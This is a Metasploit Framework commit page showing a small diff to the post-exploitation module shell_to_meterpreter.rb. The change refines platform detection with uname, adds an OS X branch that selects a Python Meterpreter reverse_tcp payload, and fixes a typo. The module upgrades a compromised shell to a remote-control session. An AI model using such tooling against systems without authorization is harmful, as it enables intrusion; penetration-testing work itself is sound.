Skip to content

Commit 9063ee4

Browse files
committed
Land rapid7#6381, Fix post/multi/manage/shell_to_meterprete uname
2 parents 57b850c + 45b9230 commit 9063ee4

File tree

1 file changed

+7
-3
lines changed

1 file changed

+7
-3
lines changed

modules/post/multi/manage/shell_to_meterpreter.rb

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -93,15 +93,19 @@ def run
9393
vprint_status("Platform: Solaris")
9494
else
9595
# Find the best fit, be specific with uname to avoid matching hostname or something else
96-
target_info = cmd_exec('uname -mo')
96+
target_info = cmd_exec('uname -ms')
9797
if target_info =~ /linux/i && target_info =~ /86/
9898
# Handle linux shells that were identified as 'unix'
9999
platform = 'linux'
100100
payload_name = 'linux/x86/meterpreter/reverse_tcp'
101101
lplat = [Msf::Platform::Linux]
102102
larch = [ARCH_X86]
103103
vprint_status("Platform: Linux")
104-
elsif cmd_exec('python -V') =~ /Python (2|3)\.(\d)/
104+
elsif target_info =~ /darwin/i
105+
platform = 'python'
106+
payload_name = 'python/meterpreter/reverse_tcp'
107+
vprint_status("Platform: OS X")
108+
elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/
105109
# Generic fallback for OSX, Solaris, Linux/ARM
106110
platform = 'python'
107111
payload_name = 'python/meterpreter/reverse_tcp'
@@ -112,7 +116,7 @@ def run
112116
vprint_status("Upgrade payload: #{payload_name}")
113117

114118
if platform.blank?
115-
print_error("Shells on the the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
119+
print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
116120
return nil
117121
end
118122

0 commit comments

Comments
 (0)